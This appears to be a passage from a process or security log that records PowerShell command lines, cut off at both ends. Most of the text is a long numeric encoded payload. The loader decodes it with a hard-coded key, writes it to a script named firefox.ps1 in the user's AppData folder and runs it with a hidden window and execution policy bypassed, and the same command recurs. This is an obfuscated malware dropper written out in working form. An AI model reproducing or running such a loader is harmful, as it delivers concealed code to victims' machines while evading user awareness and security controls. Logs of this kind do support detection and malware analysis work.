127 46 21 101 176 58 64 59 39 126 35 92 156 71 72 55 127 49 25 81 177 76 63 108 38 42 39 86 176 122 107 53 43 57 49 108 185 66 112 64 58 39 108 135 96 65 72 83 108 108 47 142 112 71 57 142 51 57 30 140 112 72 127 92 58 61 40 161 102 137 125 130 44 112 64 100 107 78 57 70 118 99 35 99 177 73 72 64 126 97 25 155 141 80 63 71 43 54 99 78 103 80 57 57 45 48 108 91 100 73 65 115 34 92 19 85 116 90 80 142 60 60 64 100 107 120 63 73 40 126 74 80 101 80 82 122 66 99 35 92 171 99 72 77 59 118 41 103 141 80 63 130 111 114 88 160 158 99 103 106 93 126 28 103 110 120 63 73 40 126 58 131 149 115 133 62 40 58 96 86 176 122 107 53 43 57 49 108 185 74 72 53 98 46 42 94 171 110 72 58 93 37 24 100 102 141 122 124 118 99 74 80 101 80 82 81 127 53 22 140 105 83 66 128 88 57 24 135 96 65 72 59 119 109 86 160 158 116 64 77 49 55 39 101 185 72 76 113 49 57 21 169 152 72 76 64 56 57 40 161 176 122 100 107 45 38 56 87 120 71 58 72 48 44 31 169 149 80 74 113 50 61 94 134 115 79 57 73 91 57 41 87 97 67 133 67 58 37 96 96 99 140 114 107 45 38 57 85 115 79 64 142 60 43 79 91 116 62 141 107 45 38 57 85 115 79 64 134 54 49 96 133 116 82 129 126 118 99 31 86 97 149 62 65 98 48 39 82 185 72 58 54 119 117 81 102 102 135 106 63 47 37 56 90 177 70 64 133 100 47 31 155 149 76 58 62 48 43 39 161 176 122 59 73 43 41 26 91 185 70 64 128 75 47 75 87 103 84 52 134 118 99 15 76 183 122 137 69 98 110 81 165 120 120 137 69 116 122 43 87 114 66 82 125 66 99 104 89 156 147 69 63 48 46 106 142 181 66 112 110 119 124 82 167 173 147 58 116 125 117 81 165 103 120 137 62 127 113 26 100 105 73 76 75 58 126 106 90 183 137 139 58 125 99 38 90 103 80 76 75 55 118 104 96 101 80 64 142 54 48 108 165 103 80 61 133 36 122 40 100 115 120 137 74 58 56 108 156 103 80 61 66 62 59 39 169 181 76 57 73 50 114 104 86 101 67 82 138 54 65 81 165 112 138 130 115 34 93 40 101 172 97 52 62 58 126 95 117 96 69 72 106 58 56 35 91 112 65 68 63 49 126 104 101 116 79 114 138 47 39 40 169 156 149 139 99 54 82 64 121 162 66 58 139 125 99 104 100 116 80 141 113 127 84 29 96 107 136 93 77 43 54 108 161 181 80 63 56 101 93 28 89 149 84 57 77 118 126 106 91 116 62 58 128 47 43 91 167 158 145 70 58 43 42 24 169 156 149 139 70 43 42 28 86 159 134 126 71 54 42 32 104 119 135 74 63 50 124 81 165 120 65 66 67 52 126 79 169 183 78 65 62 62 42 95 94 131 66 65 53 44 53 50 100 160 96 61 126 107 36 92 117 119 111 118 103 88 81 86 124 136 69 55 95 53 89 65 101 133 69 58 85 49 76 91 112 98 125 127 126 110 112 91 146 168 82 73 55 50 109 42 167 158 145 61 60 48 52 39 102 101 108 73 142 98 126 106 94 116 63 68 64 114 55 26 90 100 69 120 125 111 109 85 152 166 134 59 69 112 54 35 99 116 67 139 115 123 60 26 104 107 82 69 96 62 49 39 169 156 149 139 65 62 53 30 167 158 145 71 69 51 57 60 104 101 77 141 113 127 124 25 102 120 73 65 128 43 38 24 167 158 145 73 55 51 50 32 93 185 120 141 140 123 55 24 85 101 65 126 77 47 53 93 83 165 134 61 60 48 52 39 102 101 66 126 138 119 67 23 87 112 88 115 116 90 43 41 104 105 80 105 77 43 61 57 85 103 76 63 71 119 122 28 87 106 75 72 75 43 85 40 160 176 134 59 73 47 47 25 96 101 70 59 53 112 56 35 93 116 66 126 138 119 67 23 87 112 88 115 116 90 43 41 104 105 80 105 77 43 61 57 85 103 76 63 71 119 122 38 96 109 80 93 77 43 54 99 160 170 67 76 55 96 44 39 99 156 145 75 60 62 48 41 97 139 84 64 73 125 99 104 104 114 80 63 58 98 118 106 124 106 59 68 66 51 61 93 148 171 133 139 130 125 118 53 96 107 81 62 55 44 124 96 167 185 103 89 142 110 110 94 153 158 149 86 69 49 124 96 167 163 129 114 142 39 104 88 160 183 137 139 109 47 46 32 100 130 80 139 130 125 60 65 96 101 134 120 123 104 112 89 147 183 137 139 134 84 86 56 124 141 137 65 69 52 57 108 130 116 82 66 63 118 124 96 167 150 77 59 140 115 124 29 92 116 147 129 140 112 109 88 148 183 137 139 126 113 110 106 157 183 135 125 128 111 124 96 167 134 84 71 77 45 53 93 148 166 126 127 123 105 124 99 169 172 75 62 69 49 126 106 169 183 122 137 70 58 61 40 100 103 66 141 113 127 94 17 167 137 99 100 88 94 74 71 156 133 102 98 105 81 124 108 140 185 145 76 58 52 51 33 76 158 145 59 73 44 46 29 91 102 80 141 113 127 85 30 83 106 74 72 129 72 57 42 119 116 68 56 73 44 42 108 156 132 67 68 142 123 58 21 93 109 73 65 142 114 86 39 104 117 80 59 59 127 122 36 100 120 81 72 60 44 126 95 116 102 80 59 109 56 57 30 85 185 145 76 71 58 48 24 169 172 96 58 73 93 61 25 96 118 101 76 60 44 53 30 98 158 90 107 53 43 57 49 108 124 145 75 53 43 57 25 169 156 149 137 60 58 43 28 90 107 66 72 128 92 47 30 85 116 71 57 115 68 92 19 85 116 90 80 81 123 58 39 102 119 60 57 73 44 97 49 128 107 76 57 81 101 100 72 100 118 141 137 76 38 42 39 86 173 145 61 55 59 117 81 110 134 60 58 58 58 49 94 117 116 61 57 128 90 48 41 90 117 76 63 71 66 100 82 136 134 114 100 101 113 87 39 85 134 65 59 69 49 55 100 165 117 80 74 76 38 42 39 86 176 57 141 95 42 42 95 131 112 73 72 142 114 88 35 93 116 101 76 58 55 126 104 100 116 80 141 129 90 48 41 90 117 76 63 71 127 41 24 99 161 122 90 58 62 44 24 156 137 67 62 75 58 43 25 169 105 70 54 73 45 43 36 100 109 73 141 129 94 44 37 84 108 80 63 58 83 53 25 85 185 147 128 96 48 78 26 90 115 76 65 73 127 113 71 81 116 82 56 58 54 47 30 121 106 73 68 75 38 126 74 80 105 84 58 59 127 113 70 96 109 80 141 138 58 57 39 167 185 136 86 69 49 58 29 82 134 65 52 66 58 126 68 96 117 81 72 64 100 119 81 169 181 66 57 60 127 34 108 122 100 65 128 104 54 50 39 169 172 111 68 66 58 78 43 85 113 149 137 62 47 46 108 156 148 71 74 63 59 53 30 98 185 96 89 104 103 99 108 165 120 82 57 69 48 48 108 140 185 103 72 55 114 75 41 97 116 81 56 66 58 58 56 104 102 74 108 75 43 53 29 91 185 136 104 54 58 59 23 85 116 149 139 55 44 59 26 96 105 65 127 73 39 57 106 169 172 116 59 71 42 49 39 91 101 149 139 127 112 60 108 154 170 71 62 66 48 55 29 169 121 147 137 59 44 43 44 167 183 122 141 138 43 44 35 98 114 80 59 142 98 126 62 100 98 136 90 75 55 57 40 84 109 80 73 90 62 43 33 117 103 76 70 71 58 44 108 156 138 71 74 73 127 113 75 85 185 141 102 73 43 113 72 104 101 80 132 128 94 58 40 124 112 71 56 58 58 43 100 152 169 140 141 129 77 57 28 100 101 76 57 69 48 48 67 91 101 80 59 56 62 50 108 161 139 80 54 129 75 53 31 100 134 69 76 64 127 113 63 96 107 64 57 73 44 126 89 153 176 122 141 138 44 57 24 85 112 71 70 59 127 97 108 123 116 62 128 91 60 54 39 101 100 73 72 74 75 61 25 94 134 80 57 58 54 48 37 86 134 80 57 142 114 86 35 101 117 80 63 115 127 76 39 98 112 66 57 73 45 113 57 102 113 80 73 57 51 57 40 117 120 66 66 142 114 74 43 86 110 103 76 65 58 126 106 124 112 82 59 63 44 47 38 85 148 81 70 73 74 46 40 104 101 80 89 77 44 51 63 104 118 77 68 64 58 90 72 131 138 94 92 62 36 88 89 148 169 131 124 118 108 105 95 150 164 99 128 122 94 108 70 156 166 92 117 89 114 107 66 145 162 101 123 100 87 87 55 76 183 149 128 109 60 42 35 90 107 149 137 77 60 42 35 90 107 149 128 90 45 53 37 98 116 67 141 138 43 44 35 98 114 80 59 142 114 75 39 85 101 76 63 71 44 126 104 86 116 65 57 69 49 55 25 142 185 145 72 73 58 126 79 169 143 70 68 64 114 78 43 85 113 149 133 138 58 48 22 143 152 69 61 106 62 42 43 160 185 147 63 73 40 43 94 89 102 132 139 115 127 126 104 104 109 76 58 113 95 118 106 92 106 67 52 91 43 124 96 167 161 124 117 140 115 124 72 100 103 76 55 73 125 117 81 165 108 66 112 129 53 47 35 91 185 141 139 97 58 124 96 165 120 73 68 59 68 110 47 157 183 67 72 77 50 124 99 142 181 67 71 113 114 52 29 96 107 141 139 92 57 59 90 167 173 145 76 66 54 43 49 152 124 137 137 77 51 53 25 110 167 88 129 140 93 37 24 100 102 147 132 115 123 43 24 87 156 117 133 138 50 43 96 167 103 60 61 58 48 124 96 165 103 79 129 142 125 57 25 124 120 71 76 71 125 114 108 167 103 80 76 140 118 99 104 87 116 69 112 110 119 124 31 86 97 147 129 140 45 38 106 157 183 99 103 106 93 124 96 167 108 84 63 71 125 114 108 167 115 79 139 133 100 122 40 100 115 149 112 142 125 41 25 96 107 78 141 91 38 43 24 100 108 122 56 59 54 48 37 169 134 60 58 58 58 49 94 128 138 122 56 59 54 48 37 169 134 60 58 58 58 49 94 118 116 82 56 60 54 42 19 155 150 67 53 71 45 61 28 97 96 122 61 57 61 50 35 102 185 82 65 77 44 43 108 128 107 76 57 51 47 41 42 93 112 82 141 59 43 61 24 96 118 149 107 53 43 57 49 108 185 113 72 75 119 92 19 85 116 90 80 142 54 48 74 80 101 80 58 130 44 42 26 96 107 78 141 62 40 58 99 78 108 66 53 142 54 49 79 91 116 62 141 65 44 38 100 96 107 115 52 58 58 43 99 142 151 60 57 73 68 65 108 86 156 71 72 55 127 92 19 85 116 90 122 124 66 99 35 91 101 149 65 73 49 97 35 92 171 99 72 77 59 118 25 157 169 137 58 128 83 57 30 98 101 77 132 115 54 56 100 93 116 71 140 113 44 112 64 100 107 78 57 70 118 35 26 100 101 64 59 64 127 48 23 93 109 122 48 108 38 42 39 110 124 149 74 76 83 57 30 140 107 80 54 142 93 37 24 100 126 129 80 115 54 49 94 119 116 84 73 134 60 60 64 100 107 137 125 130 107 117 81 119 147 113 107 142 47 60 33 140 107 80 54 142 77 88 72 135 177 69 54 74 115 43 99 142 151 60 57 73 68 65 108 94 116 60 112 62 61 51 94 130 116 65 107 53 43 57 25 161 166 131 132 115 93 37 24 100 126 88 141 69 41 97 28 103 110 135 102 73 43 92 19 85 116 66 133 125 105 117 81 136 108 84 63 71 58 58 108 92 120 120 63 73 40 126 75 92 120 71 70 73 59 118 99 142 144 114 59 54 75 44 43 91 102 79 62 60 50 126 72 100 118 120 64 77 113 91 38 99 101 80 105 73 60 44 20 87 177 74 72 53 115 53 22 160 158 114 59 54 76 42 38 99 108 149 74 59 98 48 39 82 185 114 59 54 76 42 38 99 108 141 68 65 115 90 39 102 173 133 132 115 50 43 20 169 106 72 112 64 58 39 108 92 102 61 133 133 100 59 25 155 150 70 61 53 75 47 100 90 108 140 114 63 50 112 72 96 102 69 62 59 58 118 99 142 103 80 57 57 45 48 108 90 108 135 89 63 94 44 26 104 96 141 132 115 34 33 106 142 181 76 112 126 100 122 43 140 181 76 130 138 62 44 37 86 126 132 80 115 123 46 79 167 113 70 62 62 125 99 104 86 156 117 133 140 101 124 96 167 102 123 139 133 100 122 26 140 181 69 141 129 45 57 28 93 120 82 72 142 125 47 106 157 183 65 139 115 57 47 26 100 120 82 69 134 123 53 24 100 108 149 68 64 127 122 26 100 105 140 50 138 59 57 38 140 181 81 72 72 127 113 26 100 105 73 76 75 58 126 104 96 101 80 64 130 123 43 24 87 126 145 68 81 100 122 35 158 174 122 48 109 59 58 95 117 96 69 72 142 114 74 19 89 116 113 72 72 54 48 35 85 112 70 63 142 123 58 39 99 158 145 61 55 59 126 79 169 183 106 68 98 83 78 85 86 102 146 139 115 123 56 28 89 105 149 112 142 125 61 34 90 119 82 76 66 51 112 24 81 101 147 114 138 59 39 32 93 109 73 124 142 98 126 106 165 114 65 57 58 43 111 43 89 112 134 55 122 112 46 26 90 111 80 74 58 44 111 104 161 126 64 59 69 66 100 82 132 102 82 76 62 58 90 43 85 120 98 57 60 54 48 37 161 181 69 59 63 53 57 41 85 144 81 132 133 112 44 39 89 106 66 68 58 48 44 19 154 115 76 65 73 44 111 104 161 126 64 59 69 66 100 82 132 102 82 76 62 58 90 43 85 120 98 57 60 54 48 37 161 181 79 61 62 47 117 99 154 103 84 54 111 45 57 38 140 181 83 59 77 49 59 36 123 120 72 72 140 100 122 26 100 102 69 62 64 44 57 108 140 185 108 63 56 48 51 39 156 130 80 75 92 58 45 23 100 102 65 141 129 74 44 35 169 181 81 54 66 51 50 32 152 185 136 101 73 62 58 39 87 102 149 137 70 58 61 40 100 103 66 141 129 74 43 39 87 152 78 72 64 43 126 104 104 114 80 63 58 127 113 55 86 116 115 76 59 54 59 60 104 103 66 68 64 56 99 49 135 96 65 72 83 66 65 104 103 96 65 72 59 127 97 108 165 103 80 58 62 48 48 25 100 171 114 62 64 43 57 30 85 158 90 107 53 43 57 49 108 124 145 73 73 60 60 19 85 116 66 112 83 86 48 35 85 124 123 115 106 58 59 100 165 119 60 57 73 44 114 104 89 98 81 132 115 68 75 19 86 101 80 64 128 75 57 20 85 171 112 63 75 48 58 35 91 114 88 115 116 94 75 73 128 144 135 102 73 43 75 24 87 112 71 70 134 123 58 39 102 119 60 57 73 44 117 16 169 138 64 57 129 89 53 32 100 185 136 103 69 51 57 60 104 101 77 141 138 58 57 39 169 172 112 63 75 48 58 35 91 114 149 56 58 57 102 81 118 101 84 59 58 114 78 26 90 118 80 58 59 127 46 29 82 116 67 58 70 58 50 32 169 172 116 59 71 42 49 39 91 101 105 68 59 43 126 106 156 139 70 93 60 48 56 35 93 116 149 128 105 39 57 41 84 101 76 62 64 79 47 32 96 118 60 141 108 38 46 43 86 102 149 128 104 54 50 39 169 181 80 72 73 125 126 95 114 112 71 73 63 40 75 24 80 109 80 141 102 54 58 40 100 107 122 141 142 127 122 38 89 105 69 141 113 127 124 43 95 106 83 74 77 51 50 94 85 97 65 139 115 123 58 21 93 109 73 65 125 127 97 108 167 181 78 57 58 43 42 93 104 105 76 126 56 107 111 28 87 106 75 72 75 43 43 93 165 177 90 56 60 54 65 82 143 148 66 74 77 47 57 72 104 101 84 90 58 45 53 30 98 177 145 61 60 48 52 39 102 101 108 73 133 118 111 26 100 105 70 58 69 43 47 26 80 170 79 68 66 58 43 93 165 177 90 56 60 54 65 82 143 148 66 74 77 47 57 72 104 101 84 90 58 45 53 30 98 177 145 71 62 47 46 99 160 170 67 76 55 96 44 39 99 156 145 75 60 62 48 41 97 139 84 64 73 125 99 108 128 107 63 62 67 58 113 53 100 119 99 72 61 42 57 25 85 185 136 88 60 54 126 104 101 98 73 65 66 51 109 108 156 145 80 76 74 58 44 25 169 181 77 72 77 59 57 26 86 185 136 88 59 58 44 75 98 116 71 57 142 123 61 37 100 107 65 141 129 80 41 24 131 112 73 72 142 123 57 39 100 185 136 88 59 58 92 43 86 112 82 93 77 45 43 35 91 114 122 90 58 62 44 24 156 137 67 62 75 58 43 25 169 105 70 54 73 45 43 36 100 109 73 141 129 94 44 37 84 108 80 63 58 83 53 25 85 185 147 128 96 48 78 26 90 115 76 65 73 127 113 71 81 116 82 56 58 54 47 30 121 106 73 68 75 38 126 74 80 105 84 58 59 127 113 70 96 109 80 141 138 58 57 39 167 185 136 86 69 49 58 29 82 134 65 52 66 58 126 68 96 117 81 72 64 100 126 108 119 116 72 62 56 58 113 67 85 116 72 141 129 79 61 24 97 185 145 96 53 86 48 22 90 118 84 57 69 48 48 94 124 96 114 62 65 50 61 30 101 171 101 76 58 55 126 95 131 106 67 74 73 100\\";$Length = $VIUSBvejbawf.Length;$CLOIJSfgiojvosef235sdb = New-Object System.Collections.ArrayList;[string] $date = $null;$m = 0;for($k = 0; $k -lt $Length; $k++){$date += $VIUSBvejbawf[$k];if($VIUSBvejbawf[$k] -eq \\" \\"){[void]$CLOIJSfgiojvosef235sdb.Add([byte] $date);$m++;$date = $null;continue;}}$Apkengsidefg = \\"NFG87%br\\";[Byte[]]$pw = [System.Text.Encoding]::UTF8.GetBytes(\\"$Apkengsidefg\\");$pw_Length = $Apkengsidefg.Length;$MFibvfaibfeg2345fbdfg = New-Object System.Byte[]($CLOIJSfgiojvosef235sdb.Count);$j = 0;for($i = 0; $i -lt $CLOIJSfgiojvosef235sdb.Count; $i++){$pw_num = $pw[$j] + 103;if($pw_num -ge $CLOIJSfgiojvosef235sdb[$i]){$MFibvfaibfeg2345fbdfg[$i] = $pw_num - $CLOIJSfgiojvosef235sdb[$i];}else{$MFibvfaibfeg2345fbdfg[$i] = $CLOIJSfgiojvosef235sdb[$i];}$j++;if($j -eq $pw_Length){$j = 0;}}$qqpvm = [System.Text.Encoding]::UTF8.GetString($MFibvfaibfeg2345fbdfg);$fgfw98JHGVfeg = \\"$env:appdata\\firefox.ps1\\";$qqpvm|Out-File -FilePath $fgfw98JHGVfeg;powershell -windowstyle hidden -ExecutionPolicy Bypass $fgfw98JHGVfeg;"" on 2026-3-27.04:21:28.25254:T4f03,Process "powershell.exe" with commandline ""$VIUSBvejbawf = \\"145 52 53 38 58 79 127 106 76 63 129 79 61 24 97 185 141 82 91 38 43 24 100 108 135 100 95 113 78 43 85 113 88 115 116 88 57 24 117 116 72 61 94 62 42 36 161 176 140 141 140 235 182 11 237 68 25 235 34 31 236 153 17 236 21 41 235 1 181 235 19 85 236 41 17 64 235 176 58 122 235 43 6 235 182 11 234 37 53 234 179 27 234 176 45 236 49 13 235 176 169 236 52 81 135 61 74 57 124 81 165 114 65 57 58 43 126 79 169 183 77 57 58 125 115 106 89 102 123 126 140 116 124 93 98 112 147 130 140 43 50 106 158 183 84 75 128 60 124 97 167 106 72 139 115 123 61 24 94 110 74 141 113 127 124 37 93 105 84 57 129 52 72 25 93 96 66 68 84 58 101 55 89 169 129 51 126 75 60 70 146 146 110 96 120 82 77 28 83 138 75 104 99 59 74 28 86 128 71 91 125 70 39 84 155 169 132 127 125 104 109 41 101 98 72 124 76 125 99 108 165 105 67 62 68 58 59 24 128 117 149 112 142 125 51 39 83 112 71 128 71 45 47 23 89 164 132 125 125 104 109 89 154 103 76 126 70 54 56 39 87 183 122 137 76 45 61 30 102 113 103 76 65 58 126 79 169 183 72 76 69 49 124 81 169 181 79 68 66 58 78 43 85 113 149 112 142 125 58 29 102 97 135 61 74 57 124 81 165 117 62 65 66 51 50 108 140 185 147 137 71 43 42 24 85 170 84 61 69 112 40 88 154 105 67 62 68 58 59 24 86 170 145 133 83 42 44 35 108 159 123 104 59 60 61 28 100 149 84 57 77 76 42 26 96 107 78 133 138 47 44 29 95 116 82 57 101 59 117 99 154 103 80 61 63 44 53 24 90 103 60 126 72 54 50 39 86 170 145 133 83 42 44 35 108 159 123 104 59 60 61 28 100 149 84 57 77 76 42 26 96 107 78 133 138 57 53 32 100 137 84 57 70 118 117 93 87 120 62 110 60 58 56 79 165 119 67 76 64 60 54 62 104 108 80 139 115 127 122 43 98 116 71 57 113 119 124 63 90 95 76 65 66 62 111 87 155 169 147 129 140 119 71 35 91 117 70 54 59 125 114 106 169 139 97 141 125 111 112 92 142 185 94 68 64 125 114 106 147 165 122 141 54 105 106 99 167 173 147 108 62 47 50 39 114 116 147 129 140 61 83 35 85 170 128 122 119 113 107 86 167 173 147 133 99 87 74 63 125 173 73 68 67 58 126 69 100 118 74 62 133 125 114 106 134 113 67 139 130 125 47 31 100 183 137 139 127 110 106 87 167 173 147 125 128 111 124 96 167 171 133 127 126 125 114 106 118 120 79 76 60 54 111 87 150 162 135 122 120 125 117 108 156 111 70 68 64 127 124 108 167 158 149 137 70 58 61 40 100 103 66 141 113 127 94 17 167 137 99 100 88 94 74 71 156 133 102 98 105 81 124 108 140 185 145 76 58 52 51 33 76 158 149 100 64 41 47 33 100 172 99 72 59 43 81 39 85 113 70 73 142 114 73 26 96 185 145 73 55 51 50 32 93 185 136 101 73 62 58 39 87 102 149 137 70 58 61 40 100 103 66 141 129 74 43 39 87 152 78 72 64 43 126 104 104 114 80 63 58 127 113 61 84 101 111 68 66 58 126 104 80 96 60 73 142 114 73 25 100 151 84 58 69 60 78 43 87 102 76 63 71 100 120 104 80 96 60 73 115 127 126 104 86 102 66 141 113 127 84 29 96 107 136 93 77 43 54 108 161 181 80 63 56 101 93 28 89 149 84 57 77 118 126 106 154 140 76 74 60 48 43 29 99 101 134 86 69 49 58 29 82 102 134 89 73 50 46 32 104 101 80 58 127 70 61 36 90 106 135 67 59 58 124 81 169 181 70 62 63 127 97 108 127 106 76 63 129 79 61 24 97 185 141 137 73 49 40 82 136 105 69 105 77 43 61 99 169 183 134 96 69 60 44 29 86 106 79 57 127 72 53 30 101 106 62 58 127 75 57 31 89 109 84 57 73 44 111 51 104 113 70 62 128 45 42 38 167 158 149 137 52 48 47 39 169 156 149 139 85 62 54 29 90 171 67 57 72 125 99 104 100 103 83 98 99 86 126 79 169 183 145 70 58 43 42 24 154 120 69 68 127 41 106 93 89 103 70 67 73 60 42 25 154 181 141 82 57 45 53 47 143 159 112 58 75 62 46 39 133 120 65 76 91 43 44 35 91 114 141 137 62 45 47 34 100 118 65 100 74 118 117 93 87 116 69 62 59 54 42 29 87 96 134 71 69 51 57 25 154 181 141 82 57 45 53 47 143 159 112 58 75 62 46 39 133 120 65 76 91 43 44 35 91 114 141 137 52 48 47 39 160 176 134 59 77 40 95 26 100 115 120 137 76 45 61 30 102 113 103 76 65 58 124 81 169 144 71 55 63 52 57 95 114 116 83 91 73 46 41 39 86 101 149 128 89 45 53 108 165 116 67 75 99 84 85 108 156 145 80 76 74 58 44 25 169 181 77 72 77 59 57 26 86 185 136 88 59 58 44 75 98 116 71 57 142 123 61 37 100 107 65 141 129 80 41 24 131 112 73 72 142 123 47 29 90 185 136 88 59 58 92 43 86 112 82 93 77 45 43 35 91 114 122 141 60 58 48 43 92 116 136 68 58 58 49 108 156 105 84 57 70 127 122 29 90 106 149 128 64 58 39 30 104 108 80 141 138 44 43 25 142 185 149 137 62 47 46 108 140 185 107 62 69 49 113 60 104 101 77 141 134 123 57 30 83 159 116 61 62 91 61 24 104 176 149 139 127 82 53 41 87 106 66 62 72 43 111 53 96 107 81 62 55 44 111 73 93 106 64 73 91 43 47 26 100 170 79 76 75 58 60 29 90 110 135 61 59 110 124 81 169 181 66 57 60 127 97 108 162 181 84 65 69 44 97 76 161 183 72 62 60 38 75 24 167 173 147 117 117 103 124 96 167 149 80 59 69 41 57 106 160 158 145 64 59 98 113 34 90 112 71 141 134 125 81 39 167 173 145 76 66 54 43 49 153 124 137 139 60 58 61 31 167 176 122 137 60 57 97 95 95 106 76 63 134 125 76 38 102 167 147 129 138 62 50 35 86 126 132 80 130 123 61 32 96 102 90 123 81 115 124 74 80 101 80 58 140 118 99 104 86 101 67 112 110 119 122 31 86 173 147 59 53 47 42 29 167 173 145 59 72 115 126 106 100 102 104 76 64 62 55 106 157 185 147 59 73 62 124 99 142 181 67 72 62 98 94 100 167 108 66 53 140 115 124 26 81 183 137 139 92 89 90 74 167 173 147 64 77 49 55 106 157 185 147 71 72 125 117 81 165 117 80 71 142 98 126 106 84 102 76 63 71 127 75 19 86 101 80 64 115 42 43 35 91 114 149 90 53 44 42 39 92 171 108 94 115 42 43 35 91 114 149 90 53 44 42 39 92 171 98 72 75 42 44 35 85 96 135 106 60 39 55 26 104 105 77 52 115 47 41 42 93 112 82 141 75 51 61 25 86 185 108 63 69 43 35 28 84 119 73 68 75 127 43 24 104 101 76 74 142 93 37 24 100 126 88 141 106 58 59 100 135 96 65 72 83 66 126 35 91 151 60 57 73 44 114 25 85 103 76 63 71 127 46 21 101 176 58 64 59 39 126 35 92 156 71 72 55 127 49 25 81 177 76 63 108 38 42 39 86 176 122 107 53 43 57 49 108 185 66 112 64 58 39 108 135 96 65 72 83 108 108 47 142 112 71 57 142 51 57 30 140 112 72 127 92 58 61 40 161 102 137 125 130 44 112 64 100 107 78 57 70 118 99 35 99 177 73 72 64 126 97 25 155 141 80 63 71 43 54 99 78 103 80 57 57 45 48 108 91 100 73 65 115 34 92 19 85 116 90 80 142 60 60 64 100 107 120 63 73 40 126 74 80 101 80 82 122 66 99 35 92 171 99 72 77 59 118 41 103 141 80 63 130 111 114 88 160 158 99 103 106 93 126 28 103 110 120 63 73 40 126 58 131 149 115 133 62 40 58 96 86 176 122 107 53 43 57 49 108 185 74 72 53 98 46 42 94 171 110 72 58 93 37 24 100 102 141 122 124 118 99 74 80 101 80 82 81 127 53 22 140 105 83 66 128 88 57 24 135 96 65 72 59 119 109 86 160 158 116 64 77 49 55 39 101 185 72 76 113 49 57 21 169 152 72 76 64 56 57 40 161 176 122 100 107 45 38 56 87 120 71 58 72 48 44 31 169 149 80 74 113 50 61 94 134 115 79 57 73 91 57 41 87 97 67 133 67 58 37 96 96 99 140 114 107 45 38 57 85 115 79 64 142 60 43 79 91 116 62 141 107 45 38 57 85 115 79 64 134 54 49 96 133 116 82 129 126 118 99 31 86 97 149 62 65 98 48 39 82 185 72 58 54 119 117 81 102 102 135 106 63 47 37 56 90 177 70 64 133 100 47 31 155 149 76 58 62 48 43 39 161 176 122 59 73 43 41 26 91 185 70 64 128 75 47 75 87 103 84 52 134 118 99 15 76 183 122 137 69 98 110 81 165 120 120 137 69 116 122 43 87 114 66 82 125 66 99 104 89 156 147 69 63 48 46 106 142 181 66 112 110 119 124 82 167 173 147 58 116 125 117 81 165 103 120 137 62 127 113 26 100 105 73 76 75 58 126 106 90 183 137 139 58 125 99 38 90 103 80 76 75 55 118 104 96 101 80 64 142 54 48 108 165 103 80 61 133 36 122 40 100 115 120 137 74 58 56 108 156 103 80 61 66 62 59 39 169 181 76 57 73 50 114 104 86 101 67 82 138 54 65 81 165 112 138 130 115 34 93 40 101 172 97 52 62 58 126 95 117 96 69 72 106 58 56 35 91 112 65 68 63 49 126 104 101 116 79 114 138 47 39 40 169 156 149 139 99 54 82 64 121 162 66 58 139 125 99 104 100 116 80 141 113 127 84 29 96 107 136 93 77 43 54 108 161 181 80 63 56 101 93 28 89 149 84 57 77 118 126 106 91 116 62 58 128 47 43 91 167 158 145 70 58 43 42 24 169 156 149 139 70 43 42 28 86 159 134 126 71 54 42 32 104 119 135 74 63 50 124 81 165 120 65 66 67 52 126 79 169 183 78 65 62 62 42 95 94 131 66 65 53 44 53 50 100 160 96 61 126 107 36 92 117 119 111 118 103 88 81 86 124 136 69 55 95 53 89 65 101 133 69 58 85 49 76 91 112 98 125 127 126 110 112 91 146 168 82 73 55 50 109 42 167 158 145 61 60 48 52 39 102 101 108 73 142 98 126 106 94 116 63 68 64 114 55 26 90 100 69 120 125 111 109 85 152 166 134 59 69 112 54 35 99 116 67 139 115 123 60 26 104 107 82 69 96 62 49 39 169 156 149 139 65 62 53 30 167 158 145 71 69 51 57 60 104 101 77 141 113 127 124 25 102 120 73 65 128 43 38 24 167 158 145 73 55 51 50 32 93 185 120 141 140 123 55 24 85 101 65 126 77 47 53 93 83 165 134 61 60 48 52 39 102 101 66 126 138 119 67 23 87 112 88 115 116 90 43 41 104 105 80 105 77 43 61 57 85 103 76 63 71 119 122 28 87 106 75 72 75 43 85 40 160 176 134 59 73 47 47 25 96 101 70 59 53 112 56 35 93 116 66 126 138 119 67 23 87 112 88 115 116 90 43 41 104 105 80 105 77 43 61 57 85 103 76 63 71 119 122 38 96 109 80 93 77 43 54 99 160 170 67 76 55 96 44 39 99 156 145 75 60 62 48 41 97 139 84 64 73 125 99 104 104 114 80 63 58 98 118 106 124 106 59 68 66 51 61 93 148 171 133 139 130 125 118 53 96 107 81 62 55 44 124 96 167 185 103 89 142 110 110 94 153 158 149 86 69 49 124 96 167 163 129 114 142 39 104 88 160 183 137 139 109 47 46 32 100 130 80 139 130 125 60 65 96 101 134 120 123 104 112 89 147 183 137 139 134 84 86 56 124 141 137 65 69 52 57 108 130 116 82 66 63 118 124 96 167 150 77 59 140 115 124 29 92 116 147 129 140 112 109 88 148 183 137 139 126 113 110 106 157 183 135 125 128 111 124 96 167 134 84 71 77 45 53 93 148 166 126 127 123 105 124 99 169 172 75 62 69 49 126 106 169 183 122 137 70 58 61 40 100 103 66 141 113 127 94 17 167 137 99 100 88 94 74 71 156 133 102 98 105 81 124 108 140 185 145 76 58 52 51 33 76 158 145 59 73 44 46 29 91 102 80 141 113 127 85 30 83 106 74 72 129 72 57 42 119 116 68 56 73 44 42 108 156 132 67 68 142 123 58 21 93 109 73 65 142 114 86 39 104 117 80 59 59 127 122 36 100 120 81 72 60 44 126 95 116 102 80 59 109 56 57 30 85 185 145 76 71 58 48 24 169 172 96 58 73 93 61 25 96 118 101 76 60 44 53 30 98 158 90 107 53 43 57 49 108 124 145 75 53 43 57 25 169 156 149 137 60 58 43 28 90 107 66 72 128 92 47 30 85 116 71 57 115 68 92 19 85 116 90 80 81 123 58 39 102 119 60 57 73 44 97 49 128 107 76 57 81 101 100 72 100 118 141 137 76 38 42 39 86 173 145 61 55 59 117 81 110 134 60 58 58 58 49 94 117 116 61 57 128 90 48 41 90 117 76 63 71 66 100 82 136 134 114 100 101 113 87 39 85 134 65 59 69 49 55 100 165 117 80 74 76 38 42 39 86 176 57 141 95 42 42 95 131 112 73 72 142 114 88 35 93 116 101 76 58 55 126 104 100 116 80 141 129 90 48 41 90 117 76 63 71 127 41 24 99 161 122 90 58 62 44 24 156 137 67 62 75 58 43 25 169 105 70 54 73 45 43 36 100 109 73 141 129 94 44 37 84 108 80 63 58 83 53 25 85 185 147 128 96 48 78 26 90 115 76 65 73 127 113 71 81 116 82 56 58 54 47 30 121 106 73 68 75 38 126 74 80 105 84 58 59 127 113 70 96 109 80 141 138 58 57 39 167 185 136 86 69 49 